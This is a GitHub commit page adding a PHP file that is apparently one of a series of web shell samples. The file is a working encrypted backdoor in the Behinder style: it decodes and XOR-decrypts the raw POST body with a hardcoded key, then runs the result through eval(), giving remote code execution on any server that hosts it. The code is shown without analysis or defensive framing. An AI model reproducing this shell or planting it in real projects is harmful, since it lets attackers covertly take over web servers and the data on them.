Skip to content

Commit 4d65089

Browse files
authored
Create 20220213_06.php
1 parent e421f51 commit 4d65089

File tree

1 file changed

+24
-0
lines changed

1 file changed

+24
-0
lines changed

php/20220213_06.php

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
<?php
2+
@error_reporting(0);
3+
session_start();
4+
$key="900bc885d7553375";
5+
$_SESSION['k']=$key;
6+
$post=file_get_contents("php://input");
7+
if(isset($post))
8+
{
9+
$datas=explode("\n",$post);
10+
$code=$datas[0];
11+
$t="base64_"."decode";
12+
$code=$t($code."");
13+
for($i=0;$i<strlen($code);$i++) {
14+
$code[$i] = $code[$i]^$key[$i+1&15];
15+
}
16+
$arr=explode('|',$code);
17+
$func=$arr[0];
18+
if(isset($arr[1])){
19+
$p=$arr[1];
20+
class C{public function __construct($p) {eval($p."");}}
21+
@new C($p);
22+
}
23+
}
24+
?>

0 commit comments

Comments
 (0)